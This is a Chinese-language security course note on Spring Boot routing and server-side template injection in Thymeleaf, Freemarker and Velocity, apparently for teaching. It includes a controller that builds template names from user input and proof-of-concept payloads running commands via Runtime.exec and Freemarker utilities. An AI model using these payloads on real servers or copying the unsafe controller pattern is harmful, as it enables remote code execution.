Web开发-JavaEE应用&SpringBoot栈&模版注入&Thymeleaf&Freemarker&Velocity

知识点:

1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参

2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

一、演示案例-WEB开发-JavaEE-开发框架-SpringBoot&路由&传参

类似于php语言中的thinkphp,不过要更加优秀。

参考:https://springdoc.cn/spring-boot/













1、路由映射

bash 复制代码
@RequestMapping @GetMapping等

2、参数传递

bash 复制代码
@RequestParam

3、数据响应

bash 复制代码
@RestController @Controller(请求)
@RestController注解相当于@ResponseBody(响应)+@Controller(请求)合作用。










二、演示案例-WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf



2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量



4、新建Controller目录及文件,指定路由配置









5、更换SpringBoot及Thymeleaf版本测试POC

bash 复制代码
@Controller
public class IndexController {
    @RequestMapping("/index")
    public String index(Model model) {
//替换模版html文件中的data变量值
model.addAttribute("data", "你好 小迪");
//使用index模版文件
        return "index";
    }




bash 复制代码
    @RequestMapping("/indexs")
    public String index(Model model,@RequestParam String lang) {
//替换模版html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模版文件
        return "index-"+lang;
    }
}



bash 复制代码
利用条件:Thymeleaf漏洞版本,可控渲染模版文件
Poc:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x





Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker



2、配置application.properties修改缓存

3、创建模版目录和文件,文件定义修改变量


4、新建Controller目录及文件,指定路由配置






5、更换SpringBoot及Freemarker版本测试POC

bash 复制代码
 <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}





bash 复制代码
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签

利用条件:可控渲染的模版文件

Velocity


参考:https://blog.csdn.net/2401_83799022/article/details/141600988

bash 复制代码
<dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
</dependency>



bash 复制代码
Poc:%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
bash 复制代码
利用条件:Velocity漏洞版本,可控模版变量或文件


相关推荐
计算机毕业设计小帅11 小时前
【2026计算机毕业设计】基于Springboot的校园失物招领小程序
spring boot·小程序·课程设计
我命由我1234512 小时前
PDFBox - PDFBox 加载 PDF 异常清单(数据为 null、数据为空、数据异常、文件为 null、文件不存在、文件异常)
java·服务器·后端·java-ee·pdf·intellij-idea·intellij idea
7哥♡ۣۖᝰꫛꫀꪝۣℋ12 小时前
Spring Boot
java·spring boot·后端
lang2015092812 小时前
Spring Boot开发最佳实践速览
spring boot
哲此一生98412 小时前
创建一个SpringBoot项目(连接数据库)
java·spring boot·后端
摇滚侠13 小时前
Spring Boot 3零基础教程,WEB 开发 HttpMessageConverter @ResponseBody 注解实现内容协商源码分析 笔记33
java·spring boot·笔记
计算机毕业设计小帅13 小时前
【2026计算机毕业设计】基于Springboot的校园电动车短租平台
spring boot·后端·课程设计
superlls14 小时前
(Spring)Spring Boot 中 @Valid 与全局异常处理器的联系详解
java·spring boot·后端
摇滚侠14 小时前
Spring Boot 3零基础教程,WEB 开发 整合 Thymeleaf 笔记36
java·spring boot·笔记
optimistic_chen15 小时前
【Java EE进阶 --- SpringBoot】Mybatis - plus 操作数据库
数据库·spring boot·笔记·java-ee·mybatis·mybatis-plus